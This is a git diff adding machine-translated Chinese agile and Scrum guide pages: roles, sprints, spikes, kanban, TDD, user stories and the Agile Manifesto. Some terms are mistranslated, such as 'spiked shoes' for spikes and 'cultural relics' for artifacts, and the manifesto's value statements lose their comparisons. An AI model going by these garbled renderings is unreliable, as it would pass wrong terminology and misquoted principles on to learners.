+Scrum是敏捷伞下的方法之一。这个名字来源于在橄榄球运动中恢复比赛的方法，整个球队一起移动到地面。同样，敏捷中的一个Scrum涉及团队的所有部分都在处理同一组目标。在scrum方法中，向团队呈现优先级的任务列表，并且在“sprint”（通常为两周）的过程中，这些任务由团队按顺序完成。这可确保在时间或资金耗尽之前完成最高优先级的任务或可交付成果。
+
+### Scrum的组件
+
+Scrum是敏捷伞下的方法之一。它起源于“scrummage”，这是橄榄球中用来表示球员挤在一起掌握球权的术语。 实践围绕着
+
+*   一组角色（交付团队，产品所有者和Scrum主管）
+*   仪式（冲刺计划，每日站立，冲刺回顾，冲刺回顾和积压修饰）
+*   工件（产品积压，sprint积压，产品增量，信息散热器和报告）。
+*   主要目标是使团队与项目进度保持一致，以促进快速迭代。
+*   许多组织都选择了Scrum，因为与瀑布模型不同，它确保了每个Sprint结束时的可交付成果。
+
+## 文物
+
+*   Sprint：这是一个团队努力实现或创建可交付成果的持续时间，主要是几周。可交付成果可以定义为团队希望实现的最终产品片段的一段代码。 Scrum建议将Sprint的持续时间保持在2-4周之间。
+*   产品待办事项：这是团队应该在当前Sprint中完成的任务列表。由产品负责人决定，与管理层和交付团队达成一致。
+
+## 角色
+
+*   产品负责人（PO）：管理层唯一负责任的人员。 PO决定进出Product Backlog的内容。
+*   交付团队：他们需要按照产品积压中的PO设置的任务工作，并在sprint结束时提供所需的可分发性。
+*   Scrum Master： - Scrum Master必须严格遵守Scrum指南，让团队了解在遵循Scrum时遵守Scrum指南的必要性。 Scrum Master的工作是确保所有Scrum仪式按时进行，并按照scrum指南由所有必需的人员参与。 SM必须确保每日Scrum定期进行并由团队积极参与。
+
+#### 更多信息：
+
+有几种在线工具可用于为您的团队进行scrum：
+
+*   [Scrum做](https://www.scrumdo.com/)
+*   [嘉尚](http://www.asana.com)
+*   [Trello](http://trello.com)
+*   [星期一](https://monday.com)
+*   [大本营](https://basecamp.com)
+*   [Airtable](https://airtable.com)
+*   [SmartSheet](https://www.smartsheet.com)
+
+这里有一些更多的资源：
+
+*   [为什么](https://www.scrumalliance.org/why-scrum)来自Scrum联盟的Scrum
+*   Scrum.org的[Scrum指南](http://www.scrumguides.org/scrum-guide.html)
+*   [做与敏捷](http://agilitrix.com/2016/04/doing-agile-vs-being-agile/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/scrummasters/index.md b/client/src/guide/chinese/agile/scrummasters/index.md
new file mode 100644
index 0000000000..1e4698dacb
--- /dev/null
+++ b/client/src/guide/chinese/agile/scrummasters/index.md
@@ -0,0 +1,34 @@
+---
+title: Scrummasters
+localeTitle: 的ScrumMaster
+---
+## Scrum Master
+
+Scrum Master负责确保理解和制定Scrum。 Scrum Masters通过确保Scrum团队遵守Scrum理论，实践和规则来实现这一目标。
+
+Scrum Master是Scrum团队的仆人领导者。 Scrum Master帮助Scrum团队以外的人了解他们与Scrum团队的哪些互动是有用的，哪些不是。 Scrum Master帮助每个人改变这些交互，以最大化Scrum团队创造的价值。
+
+### Scrum Master的工作
+
+*   促进（不参与）每日站立
+*   帮助团队维持他们的燃尽图
+*   设置回顾，冲刺评论或冲刺计划会话
+*   在冲刺期间屏蔽团队免受干扰
+*   消除影响团队的障碍
+*   通过更多技术用户故事走向产品所有者
+*   鼓励Scrum团队与产品负责人之间的合作。
+
+通常，Scrummaster会询问以下问题：
+
+1.  你昨天做了什么？
+2.  你今天打算做什么？
+3.  有什么阻止你的进步吗？
+
+Scrum大师是敏捷团队的一员。他们可以是开发人员或其他功能成员（戴着多个帽子），也可以单独作为团队中的唯一角色。他们的主要目标是使用Scrum框架增强开发。
+
+他们的作用往往是：指导冲刺计划，监控每日站立，进行回顾，确保速度，帮助确定冲刺的范围。
+
+#### 更多信息：
+
+*   [什么是Scrum Master](https://www.scrum.org/resources/what-is-a-scrum-master)
+*   [Scrum指南](https://www.scrum.org/resources/scrum-guide)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/self-organization/index.md b/client/src/guide/chinese/agile/self-organization/index.md
new file mode 100644
index 0000000000..a8a5528cf4
--- /dev/null
+++ b/client/src/guide/chinese/agile/self-organization/index.md
@@ -0,0 +1,25 @@
+---
+title: Self Organization
+localeTitle: 自组织
+---
+## 自组织
+
+为了保持已开发项目的高度动态性和敏捷性，所有团队成员都应谨慎分担对正在开发的产品的责任。
+
+垂直导向的组织结构证明了自己在很多层面的决策过程中变得缓慢而且不灵活。如果团队想要快速行动并对不断变化的环境做出动态反应，那么组织结构需要保持平稳，成员们对他们对项目的投入负有强烈责任。
+
+这并不意味着管理是敏捷的自组织团队中过时的过程。它只是具有与传统方法不同的特征（特别是在大型组织中，但不仅仅是），当比专制和直接更具支持性和建议性时，证明更有效。
+
+自组织的基础是团队成员的信任和承诺。
+
+据说Scrum团队是自我组织的。这意味着完成的工作和一般的工作方式由团队决定 - 他们是 他们的经理授权他们以最有效的方式指导自己。团队成员（交付团队，产品负责人和 Scrum Master）定期检查他们的行为以不断改进。
+
+在Sprint Planning期间，团队将查看产品待办事项（产品所有者将优先考虑）并确定他们的故事 将在即将到来的冲刺和需要完成的任务中继续工作以将故事标记为完成。该团队将估计该分数或大小 故事表示努力。
+
+在冲刺期间，团队成员可以选择sprint积压故事来处理，通常他们会选择他们认为可以的 实现。由于它是一个自组织团队，因此不应该由其他人为团队成员分配任务。
+
+#### 更多信息：
+
+*   [Scrum](https://www.scrum.org/resources/blog/how-does-scrum-promote-self-organization)上的[Scrum促进自组织](https://www.scrum.org/resources/blog/how-does-scrum-promote-self-organization)
+*   Scrum.org上的[Scrum角色促进了自我组织](https://www.scrum.org/resources/blog/how-do-3-scrum-roles-promote-self-organization)
+*   Scrum联盟关于[自组织的内容和方式](https://scrumalliance.org/community/articles/2013/january/self-organizing-teams-what-and-how)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/spikes/index.md b/client/src/guide/chinese/agile/spikes/index.md
new file mode 100644
index 0000000000..66a9177c8c
--- /dev/null
+++ b/client/src/guide/chinese/agile/spikes/index.md
@@ -0,0 +1,22 @@
+---
+title: Spikes
+localeTitle: 钉鞋
+---
+## 钉鞋
+
+并非您的团队在Sprint期间所做的一切都是用户故事。有时，用户故事无法有效估计或需要进行研究。也许需要帮助来决定不同的架构，排除一些风险，或者可能是一个概念证明（POC）来展示一种能力。
+
+在这些情况下，Spike会添加到Sprint Backlog中。尖峰的接受标准应该是对提出的问题的回答。如果实验比预期的更困难，那么答案可能是否定的。 （这就是Spike应该及时限制的原因。）
+
+投入Spike的时间和精力是有意限制的，因此可以在Sprint内完成工作，而其他用户故事受到的影响微乎其微。 Spike通常不会收到故事点评估，但会给出固定的小时数。
+
+在Sprint评论中展示Spike的结果。根据新信息，原始问题在未来的Sprint中被重新定义为新的用户故事。
+
+您的团队获得了做出更好决策所需的信息;减少不确定性。通过少量的，可测量的资源来提高未来Sprint的工作质量和价值，而不是根据猜测工作做出决策。
+
+#### 更多信息：
+
+*   Mountain Goat软件[峰值](https://www.mountaingoatsoftware.com/blog/spikes)
+*   Scrum.org论坛[如何整合尖峰](https://www.scrum.org/forum/scrum-forum/5512/how-integrate-spike-scrum)
+*   Scrum联盟的[飙升和努力与悲伤的比率](https://www.scrumalliance.org/community/articles/2013/march/spikes-and-the-effort-to-grief-ratio)
+*   维基百科[穗](https://en.wikipedia.org/wiki/Spike_(software_development))
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/sprint-backlog/index.md b/client/src/guide/chinese/agile/sprint-backlog/index.md
new file mode 100644
index 0000000000..4b11b91a3f
--- /dev/null
+++ b/client/src/guide/chinese/agile/sprint-backlog/index.md
@@ -0,0 +1,13 @@
+---
+title: Sprint Backlog
+localeTitle: Sprint积压
+---
+## Sprint积压
+
+Sprint Backlog是Scrum团队在Scrum Sprint期间完成的任务列表。在Sprint计划会议期间，团队通常以用户故事的形式选择一些产品待办事项项，并确定完成每个用户故事所需的任务。
+
+团队自己选择Sprint Backlog的项目和大小至关重要。因为他们是实施/完成任务的人，所以他们必须是人们在Sprint期间选择他们正在预测的内容。
+
+#### 更多信息：
+
+[Scrum指南：Sprint Backlog](http://www.scrumguides.org/scrum-guide.html#artifacts-sprintbacklog)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/sprint-planning-meetings/index.md b/client/src/guide/chinese/agile/sprint-planning-meetings/index.md
new file mode 100644
index 0000000000..ca33498a7f
--- /dev/null
+++ b/client/src/guide/chinese/agile/sprint-planning-meetings/index.md
@@ -0,0 +1,30 @@
+---
+title: Sprint Planning Meeting
+localeTitle: Sprint计划会议
+---
+## Sprint计划会议
+
+Sprint Planning由团队的Scrum Master提供支持，由Scrum团队组成：开发团队，产品负责人（PO）和Scrum Master（SM）。它旨在将产品Backlog项目的子集计划为Sprint Backlog。 Scrum Sprint通常在Sprint计划会议之后启动。
+
+### 主要部分
+
+通过提出以下两个问题，团队分两部分参与会议具有很高的价值：
+
+*   团队应该为即将到来的Sprint **做些什么**计划？
+*   团队应该（大致） **如何**计划项目？
+
+#### 什么
+
+在什么阶段，团队从订购的产品Backlog的顶部开始。该团队至少通过预测他们可以在Sprint Backlog中采取的措施来隐式估计这些项目。如果需要，他们可以向PO询问/讨论项目，他们必须参加此次会议。
+
+#### 怎么样
+
+在如何阶段，团队将很快讨论每个选择的Sprint Backlog项目，重点是他们将如何获取它。 SM帮助团队深入研究讨论和实施细节。如果向PO提出更多问题或对项目进行改进，或者积压是由团队完成的，那么这是非常可能和好的。
+
+### 冲刺目标/结束
+
+团队应该为Sprint提供一个共享的Sprint目标，以便将焦点集中在Sprint时间框中。在Sprint计划结束时，团队预测他们可以实现Sprint目标并完成所有Sprint Backlog项目。 SM应通过提供有用的见解或统计数据来防止团队过高估计。
+
+#### 更多信息：
+
+[Scrum指南：Sprint计划](http://www.scrumguides.org/scrum-guide.html#events-planning) [Sprint计划会议的简单备忘单](https://www.leadingagile.com/2012/08/simple-cheat-sheet-to-sprint-planning-meeting/) [改善Sprint规划的四个步骤](https://www.atlassian.com/blog/agile/sprint-planning-atlassian)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/sprint-planning/index.md b/client/src/guide/chinese/agile/sprint-planning/index.md
new file mode 100644
index 0000000000..df896fbccd
--- /dev/null
+++ b/client/src/guide/chinese/agile/sprint-planning/index.md
@@ -0,0 +1,19 @@
+---
+title: Sprint Planning
+localeTitle: Sprint计划
+---
+## Sprint计划
+
+在Scrum中，sprint计划会议由产品所有者ScrumMaster和整个Scrum团队参加。外部利益相关者可以通过团队的邀请参加，尽管这在大多数公司中很少见。 在sprint计划会议期间，产品所有者描述了团队的最高优先级功能。该团队提出了足够的问题，他们可以将产品积压的高级用户故事转变为sprint积压的更详细的任务。
+
+sprint计划会议产生两个已定义的工件：
+
+*   冲刺目标
+*   冲刺积压
+
+对于为期一个月的Sprint，Sprint Planning的时间限制最多为8小时。对于较短的Sprint，事件通常较短。 Scrum Master确保事件发生并且服务员了解其目的。 Scrum Master教Scrum团队将其保留在时间框内。
+
+#### 更多信息：
+
+*   https://www.mountaingoatsoftware.com/agile/scrum/meetings/sprint-planning-meeting
+*   [Scrum指南](http://www.scrumguides.org/scrum-guide.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/sprint-review/index.md b/client/src/guide/chinese/agile/sprint-review/index.md
new file mode 100644
index 0000000000..ebdfb51110
--- /dev/null
+++ b/client/src/guide/chinese/agile/sprint-review/index.md
@@ -0,0 +1,29 @@
+---
+title: Sprint Review
+localeTitle: Sprint评论
+---
+## Sprint评论
+
+Sprint评论是Scrum的主要仪式之一（以及Sprint Planning，Daily Stand Up，Retrospective和Grooming）。
+
+在Sprint结束时，您的Scrum团队将举办“邀请世界”会议，以展示刚刚完成和接受的内容。受邀的是Scrum团队，利益相关者，经理，用户;任何对该项目感兴趣的人。
+
+每个Sprint举办这些会议非常重要。这可能是一种心态转变;向您的经理和利益相关者展示未完成的工作。但在“快速失败”的概念中，获得有关增量工作的反馈具有不可思议的价值。如有必要，您的团队可以进行课程更正，从而最大限
+
+由于产品负责人（PO）经常出现在Sprint评论中，Scrum Master通常会捕获反馈，可能会促进讨论，​​然后使用PO来将新的用户故事添加到Backlog并确定优先级。
+
+议程还可以包括对积压（包括价值和优先级）的审查，为下一个迭代计划的内容，以及可以从积压中删除的内容。
+
+**重要事项** Sprint Review与Retrospective完全不同。回顾是Scrum团队（Scrum Master，PO和交付团队）的严格要求。被邀请参加评审的其他各方可以免于参与回顾，并可能会干预回顾。 （是的，包括经理。）
+
+#### 更多信息：
+
+Innolution的Ken Rubin [停止打电话给您的Sprint评论演示](https://www.scrumalliance.org/community/spotlight/ken-rubin/january-2015/stop-calling-your-sprint-review-a-demo%E2%80%94words-matte)
+
+Scrum.org [什么是Sprint评论](https://www.scrum.org/resources/what-is-a-sprint-review)
+
+Mountain Goat Software [Sprint评审会议](https://www.mountaingoatsoftware.com/agile/scrum/meetings/sprint-review-meeting)
+
+Atlassian [改善Sprint评论的三个步骤](https://www.atlassian.com/blog/agile/sprint-review-atlassian)
+
+产品[冲刺](https://age-of-product.com/sprint-review-anti-patterns/)时代[评论反模式](https://age-of-product.com/sprint-review-anti-patterns/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/sprints/index.md b/client/src/guide/chinese/agile/sprints/index.md
new file mode 100644
index 0000000000..0c453983a7
--- /dev/null
+++ b/client/src/guide/chinese/agile/sprints/index.md
@@ -0,0 +1,21 @@
+---
+title: Sprints
+localeTitle: 冲刺
+---
+## 冲刺
+
+在Scrum中， **Sprint**的工作时间通常为一到四周，交付团队负责您的项目。 Sprint是迭代的，并继续直到项目完成。每个sprint都以Sprint计划会话开始，并以Sprint Review和Retrospective会议结束。使用sprint而不是长达数月的瀑布或线性顺序开发方法，允许项目所有者和利益相关者之间定期反馈来自交付团队的输出。
+
+## Sprint的属性
+
+\- 在整个项目期间，图纸应保持相同的预定时间长度。 - 该团队致力于将用户故事分解为可在Sprint持续时间内完成的大小，而无需转移到下一个。 - “Sprint”和“Iteration”通常可互换使用。
+
+#### 更多信息：
+
+*   敏捷联盟的[迭代](https://www.agilealliance.org/glossary/iteration/)
+*   时间[盒上的](https://www.agilealliance.org/glossary/timebox/)敏捷联盟
+*   [Sprint与迭代的](http://agilecoach.typepad.com/agile-coaching/2014/02/sprint-vs-iteration.html)敏捷教练
+*   Scrum Alliance [Timeboxing作为一个激励因素](https://www.scrumalliance.org/community/articles/2014/february/timeboxing-a-motivational-factor-for-scrum-teams)
+*   Scrum Alliance [Sprint不仅仅是一个时间盒](https://www.scrumalliance.org/community/articles/2014/may/sprint-is-more-than-just-a-timebox)
+*   Scrum Inc [什么是Timeboxing](https://www.scruminc.com/what-is-timeboxing/)
+*   Scrum.org [什么是Scrum中的Sprint](https://www.scrum.org/resources/what-is-a-sprint-in-scrum)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/stakeholders/index.md b/client/src/guide/chinese/agile/stakeholders/index.md
new file mode 100644
index 0000000000..5e7e51e312
--- /dev/null
+++ b/client/src/guide/chinese/agile/stakeholders/index.md
@@ -0,0 +1,22 @@
+---
+title: Stakeholders
+localeTitle: 利益相关者
+---
+## 利益相关者
+
+利益相关者是将从您的项目中受益的人。产品负责人应了解利益相关方要求的结果，并将此需求传达给交付团队。 利益相关者可以由以下任何一方组成
+
+*   用户
+*   顾客
+*   经理
+*   资助者/投资者
+
+他们参与该项目对成功至关重要。
+
+例如，当您的团队执行Sprint审核会议时，项目的演示针对的是利益相关者，他们的反馈将被捕获并添加到积压工作中。
+
+#### 更多信息：
+
+*   Scrum研究Scrum中的[利益相关者](https://www.scrumstudy.com/blog/stakeholders-in-scrum/)
+*   Scrum.org [关键利益相关者](https://www.scrum.org/resources/blog/scrum-who-are-key-stakeholders-should-be-attending-every-sprint-review)
+*   敏捷建模[积极的利益相关者参与](http://agilemodeling.com/essays/activeStakeholderParticipation.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/story-points-and-complexity-points/index.md b/client/src/guide/chinese/agile/story-points-and-complexity-points/index.md
new file mode 100644
index 0000000000..3f455a4a0b
--- /dev/null
+++ b/client/src/guide/chinese/agile/story-points-and-complexity-points/index.md
@@ -0,0 +1,25 @@
+---
+title: Story Points and Complexity Points
+localeTitle: 故事点和复杂点
+---
+## 故事点和复杂点
+
+在Scrum / Agile中，通过用户可能告诉他们产品需要的**故事**来探索开发中产品的功能。当团队估计交付用户故事所需的工作量时，团队会使用**故事点** 。
+
+故事点的显着特征是它们：
+
+*   代表整个团队的贡献
+*   不要直接等同于任务可能花费的时间
+*   是规划目的的粗略衡量标准 - 类似于数量级
+*   以Fibonacci式序列分配：0,1,2,3,5,8,13,20,40,100
+*   估计故事_相对于彼此_的“大小”
+
+如果您不熟悉敏捷的做事方式，故事点的概念可能会非常难以捉摸。你会发现许多在线资源以不同的方式讨论故事点，很难清楚地知道它们是什么以及如何使用它们。
+
+当您了解Scrum等实践的原理和术语时，其中一些属性的原因将变得明显。故事点的使用，特别是在“计划扑克”等“仪式”中，通过观察或参与而不是书面解释更容易理解！
+
+### 更多信息：
+
+*   用户故事： [freeCodeCamp](https://guide.freecodecamp.org/agile/user-stories)
+*   使用故事点时常见的错误： [中等](https://medium.com/bynder-tech/12-common-mistakes-made-when-using-story-points-f0bb9212d2f7)
+*   规划扑克： [Mountain Goat软件](https://www.mountaingoatsoftware.com/agile/planning-poker)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/sustainable-pace/index.md b/client/src/guide/chinese/agile/sustainable-pace/index.md
new file mode 100644
index 0000000000..1eebd1721f
--- /dev/null
+++ b/client/src/guide/chinese/agile/sustainable-pace/index.md
@@ -0,0 +1,11 @@
+---
+title: Sustainable Pace
+localeTitle: 可持续发展
+---
+## 可持续发展
+
+可持续发展的步伐是您和您的团队可以长时间工作的步伐，甚至是永远的。 它尊重您的周末，晚上，假期和假期。它允许必要的会议和个人发展时间。
+
+#### 更多信息：
+
+[什么是可持续发展的步伐？](http://www.sustainablepace.net/what-is-sustainable-pace)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/task-boards-and-kanban/index.md b/client/src/guide/chinese/agile/task-boards-and-kanban/index.md
new file mode 100644
index 0000000000..37472b71bf
--- /dev/null
+++ b/client/src/guide/chinese/agile/task-boards-and-kanban/index.md
@@ -0,0 +1,35 @@
+---
+title: Task Boards and Kanban
+localeTitle: 任务板和看板
+---
+## 任务板和看板
+
+看板对于进行软件开发和个人跟踪个人任务的团队来说都是一种很好的方法。
+
+从日语术语“招牌”或“广告牌”派生来表示信号，关键原则是在给定时间将您的在制品（WIP）限制为有限数量的任务。可以进行的金额取决于团队（或个人）的约束能力。当一项任务完成后，这就是你将另一项任务转移到其位置的信号。
+
+您的看板任务将显示在任务板上的一系列列中，以显示任务的状态。在其最简单的形式中，使用三列
+
+*   去做
+*   干
+*   完成
+
+![看板板示例](https://upload.wikimedia.org/wikipedia/commons/thumb/d/d3/Simple-kanban-board-.jpg/600px-Simple-kanban-board-.jpg)
+
+_图片由[维基百科提供](https://en.wikipedia.org/wiki/Kanban_board)_
+
+但是可以添加许多其他列或状态。例如，软件团队还可以包括等待测试，完成或接受。
+
+![更复杂的例子](https://mktgcdn.leankit.com/uploads/images/general/_2048xAUTO_fit_center-center/1-SmalDevelopmentTeamKanbanBoard-eb79376d.png)
+
+_图片由[leankit提供](https://leankit.com/learn/kanban/kanban-board-examples-for-development-and-operations/)_
+
+### 更多信息：
+
+*   什么是看板： [Leankit](https://leankit.com/learn/kanban/what-is-kanban/)
+*   什么是看板： [Atlassian](https://www.atlassian.com/agile/kanban)
+
+一些在线板
+
+*   [Trello](https://trello.com/)
+*   [KanbanFlow](https://kanbanflow.com)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/technical-debt/index.md b/client/src/guide/chinese/agile/technical-debt/index.md
new file mode 100644
index 0000000000..48695ad338
--- /dev/null
+++ b/client/src/guide/chinese/agile/technical-debt/index.md
@@ -0,0 +1,16 @@
+---
+title: Technical Debt
+localeTitle: 技术债务
+---
+## 技术债务
+
+通常在敏捷开发中，如果您在“足够好”的实践中生产软件，那么您还将增加技术债务。这是捷径和解决方案的积累。
+
+把它与金钱相比较。当您通过信用卡收取费用时，您已承诺稍后付款。当您创建技术债务时，您的团队_应该_承诺按计划解决这些问题。
+
+迭代工作的好处之一是经常展示您的增量并收集反馈。如果您的第一次通过“足够好”，并且由于该反馈而需要进行更改，您可能已经避免了一些不必要的工作。在您的待办事项中捕获此信息，并在每个sprint中包含一部分进行重构或改进。
+
+#### 更多信息：
+
+*   敏捷[技术债务](https://www.agilealliance.org/introduction-to-the-technical-debt-concept/)联盟
+*   Scrum联盟[管理技术债务](https://www.scrumalliance.org/community/articles/2013/july/managing-technical-debt)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/test-driven-development/index.md b/client/src/guide/chinese/agile/test-driven-development/index.md
new file mode 100644
index 0000000000..cf9e55248b
--- /dev/null
+++ b/client/src/guide/chinese/agile/test-driven-development/index.md
@@ -0,0 +1,38 @@
+---
+title: Test Driven Development
+localeTitle: 测试驱动开发
+---
+## 测试驱动开发
+
+测试驱动开发（TDD）是敏捷软件开发方法之一。它基于这一概念
+
+> 您必须在编写代码之前为代码编写测试用例
+
+在这里，我们首先编写单元测试，然后编写代码以成功完成测试。这节省了执行单元测试和其他类似测试所花费的时间，因为我们正在进行成功的测试迭代以及在代码中实现模块化。 它基本上由4个步骤组成
+
+*   写一个测试用例
+    
+*   看测试失败（红色）
+    
+*   让测试通过，同时处理任何犯罪行为（绿色）
+    
+*   重构代码以达到标准（Refactor）
+    
+    这些步骤遵循Red-Green-Refactor的原则。 Red-Green确保您编写最简单的代码来解决问题，而最后一步确保您编写的代码符合标准。
+    
+
+系统的每个新功能都应遵循上述步骤。
+
+![tdd flow](http://www.agiledata.org/images/tddSteps.jpg)
+
+#### 更多信息：
+
+敏捷数据的[TDD简介](http://agiledata.org/essays/tdd.html)
+
+维基在[TDD上](https://en.wikipedia.org/wiki/Test-driven_development)
+
+Martin Fowler [是TDD死了？](https://martinfowler.com/articles/is-tdd-dead/) （关于这个主题的一系列录制对话）
+
+Kent Beck的书“ [测试驱动开发实例”](https://www.amazon.com/Test-Driven-Development-Kent-Beck/dp/0321146530)
+
+鲍勃叔叔[的TDD周期](http://blog.cleancoder.com/uncle-bob/2014/12/17/TheCyclesOfTDD.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/the-agile-manifesto/index.md b/client/src/guide/chinese/agile/the-agile-manifesto/index.md
new file mode 100644
index 0000000000..228990858f
--- /dev/null
+++ b/client/src/guide/chinese/agile/the-agile-manifesto/index.md
@@ -0,0 +1,42 @@
+---
+title: The Manifesto
+localeTitle: 宣言
+---
+## 宣言
+
+### 起源
+
+> 2001年2月11日至13日，在犹他州瓦萨奇山区的雪鸟滑雪胜地洛奇酒店，有17人聚在一起聊天，滑雪，放松，并试图寻找共同点 - 当然，还要吃饭。 \[...\]现在，很难找到一个更大的组织无政府主义者聚会，所以从这次会议中产生的是象征性的 - 一个由所有参与者签署的敏捷软件开发宣言。 （1）
+
+### 敏捷软件开发宣言
+
+我们正在通过这样做并帮助其他人来实现软件开发的更好方法。
+
+通过这项工作，我们已经开始重视
+
+*   **个人和**流程与工具**之间的互动** 。
+*   **工作软件**综合文档。
+*   合同谈判中的**客户协作** 。
+*   **响应**遵循计划的**变更** 。
+
+也就是说，虽然右边的项目有价值，但我们更重视左边的项目。
+
+### 敏捷软件的十二个原则
+
+1.  我们的首要任务是通过早期和持续交付有价值的软件来满足客户。
+2.  欢迎不断变化的要求，甚至是开发后期。敏捷流程利用变化来实现客户的竞争优势。
+3.  经常提供工作软件，从几周到几个月，优先考虑更短的时间尺度。
+4.  业务人员和开发人员必须在整个项目中每天一起工作。
+5.  围绕有动力的个人建立项目。为他们提供所需的环境和支持，并相信他们能够完成工作。
+6.  向开发团队内部和内部传达信息的最有效和最有效的方法是面对面交谈。
+7.  工作软件是进步的主要衡量标准。
+8.  敏捷过程促进可持续发展。赞助商，开发者和用户应该能够无限期地保持稳定的步伐。
+9.  持续关注技术卓越和良好的设计可提高灵活性。
+10.  简单性 - 最大化未完成工作量的艺术 - 至关重要。
+11.  最好的架构，要求和设计来自自组织团队。
+12.  团队定期反思如何变得更有效，然后相应地调整和调整其行为。
+
+#### 更多信息：
+
+*   [（1）历史：敏捷宣言](http://agilemanifesto.org/history.html)
+*   [敏捷宣言](http://agilemanifesto.org/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/user-acceptance-tests/index.md b/client/src/guide/chinese/agile/user-acceptance-tests/index.md
new file mode 100644
index 0000000000..a2fdb00c16
--- /dev/null
+++ b/client/src/guide/chinese/agile/user-acceptance-tests/index.md
@@ -0,0 +1,54 @@
+---
+title: User Acceptance Tests
+localeTitle: 用户验收测试
+---
+## 用户验收测试
+
+在工程及其各个分支学科中，验收测试是为了确定是否满足规范或合同的要求而进行的测试。它可能涉及化学测试，物理测试或性能测试。
+
+在系统工程中，它可能涉及在交付之前在系统上执行的黑盒测试（例如：一个软件，许多制造的机械部件或批量的化学产品）。
+
+在软件测试中，ISTQB将接受定义为：针对用户需求，要求和业务流程进行的正式测试，以确定系统是否满足验收标准并使用户，客户或其他授权实体能够确定是否接受系统。验收测试也称为用户验收测试（UAT），最终用户测试，操作验收测试（OAT）或现场（验收）测试。
+
+在将软件构建引入主要测试过程之前，可以使用烟雾测试作为验收测试。
+
+软件测试的最后一步是用户验收测试（UAT）。 UAT确保实际用户可以使用该软件。也称为beta，应用程序和最终用户测试。
+
+UAT检查一切正常并且没有崩溃。那些目标受众应该完成测试;这可能包括许多参与该过程的人以及能够在上线前进行测试的任何人。此测试的反馈将转发给开发团队以进行任何特定更改。
+
+#### 为什么我们需要UAT
+
+*   需求更改可能未与开发人员通信
+    
+*   该软件可能无法实际提供它的意义
+    
+*   某些逻辑或业务流程可能需要用户的注意
+    
+
+#### 在我们开始UAT之前需要什么
+
+*   签署完整的请求，并按照文件提供
+    
+*   代码处于工作状态或处于可演示状态
+    
+*   UAT是环境准备好访问
+    
+*   不应该有任何会破坏代码的缺陷
+    
+*   根据LIVE scneario准备的测试数据
+    
+
+#### 使用的框架和工具
+
+*   FitNesse的
+
+#### 关于UAT的文章
+
+*   [7成功完成用户验收测试](http://blog.debugme.eu/successful-user-acceptance-testing/)
+    
+*   [AgileUAT：用户验收测试框架 基于用户故事和接受标准](http://research.ijcaonline.org/volume120/number10/pxc3903533.pdf)
+    
+
+#### 更多信息：
+
+https://en.wikipedia.org/wiki/Acceptance\_testing
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/user-stories/index.md b/client/src/guide/chinese/agile/user-stories/index.md
new file mode 100644
index 0000000000..14d97697a0
--- /dev/null
+++ b/client/src/guide/chinese/agile/user-stories/index.md
@@ -0,0 +1,28 @@
+---
+title: User Stories
+localeTitle: 用户故事
+---
+用户故事是敏捷方法的一部分，有助于将重点从撰写需求转移到讨论需求。所有敏捷用户故事都包括一两句话，更重要的是，有关所需功能的一系列对话。
+
+用户故事通常使用以下模式编写：
+
+#### 作为\[用户类型\]，我想\[某个目标\]以便\[某些原因或需要\]
+
+用户故事应该从用户的角度以非技术术语编写。故事应该强调用户的需要，而不是如何。用户故事中不应该提供解决方案。
+
+编写用户故事时遇到的一个常见错误是从开发人员或解决方案的角度编写。请务必说明目标和需求，以及稍后的功能要求。
+
+#### 调整用户故事：史诗和更小的故事
+
+史诗是一个大而粗糙的故事。它通常会随着时间的推移分成几个用户故事 - 利用用户对早期原型和产品增量的反馈。您可以将其视为更详细故事的标题和占位符。
+
+从epics开始，您可以绘制产品功能，而无需提交详细信息。这对于描述新产品和功能特别有用：它允许您捕获粗略的范围，并且您可以花时间了解有关如何最好地满足用户需求的更多信息。
+
+它还减少了整合新见解所需的时间和精力。如果您在产品待办事项中有许多详细的故事，那么将反馈与相应的项目相关联通常会非常棘手且耗时，并且存在引入不一致的风险。
+
+在考虑可能的故事时，考虑“误用户案例”和“不愉快路径”故事也很重要。系统如何处理异常？您将向用户提供什么样的消息？恶意用户如何滥用此应用程序功能？这些故事可以节省返工，并成为QA中的有用测试用例。
+
+#### 更多信息：
+
+*   [Mountain Goat软件用户故事指南](https://www.mountaingoatsoftware.com/agile/user-stories)
+*   [Roman Pichler用户故事指南](http://www.romanpichler.com/blog/10-tips-writing-good-user-stories/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/value-stream-mapping/index.md b/client/src/guide/chinese/agile/value-stream-mapping/index.md
new file mode 100644
index 0000000000..9166e6863f
--- /dev/null
+++ b/client/src/guide/chinese/agile/value-stream-mapping/index.md
@@ -0,0 +1,17 @@
+---
+title: Value Stream Mapping
+localeTitle: 价值流图
+---
+## 价值流图
+
+**价值流映射**是一种精益软件开发技术。它有助于在材料，工作量，成本和时间方面识别资源中的浪费。
+
+计算过程循环效率是了解AS-IS过程效率的方法之一。
+
+**过程循环效率=增加的花费时间/总循环时间。**
+
+值越高，效率越高。
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Value_stream_mapping)
\ No newline at end of file
diff --git a/client/src/guide/chinese/agile/vanity-metrics/index.md b/client/src/guide/chinese/agile/vanity-metrics/index.md
new file mode 100644
index 0000000000..6c364db240
--- /dev/null
+++ b/client/src/guide/chinese/agile/vanity-metrics/index.md
@@ -0,0 +1,27 @@
+---
+title: Vanity Metrics
+localeTitle: 虚荣指标
+---
+## 虚荣指标
+
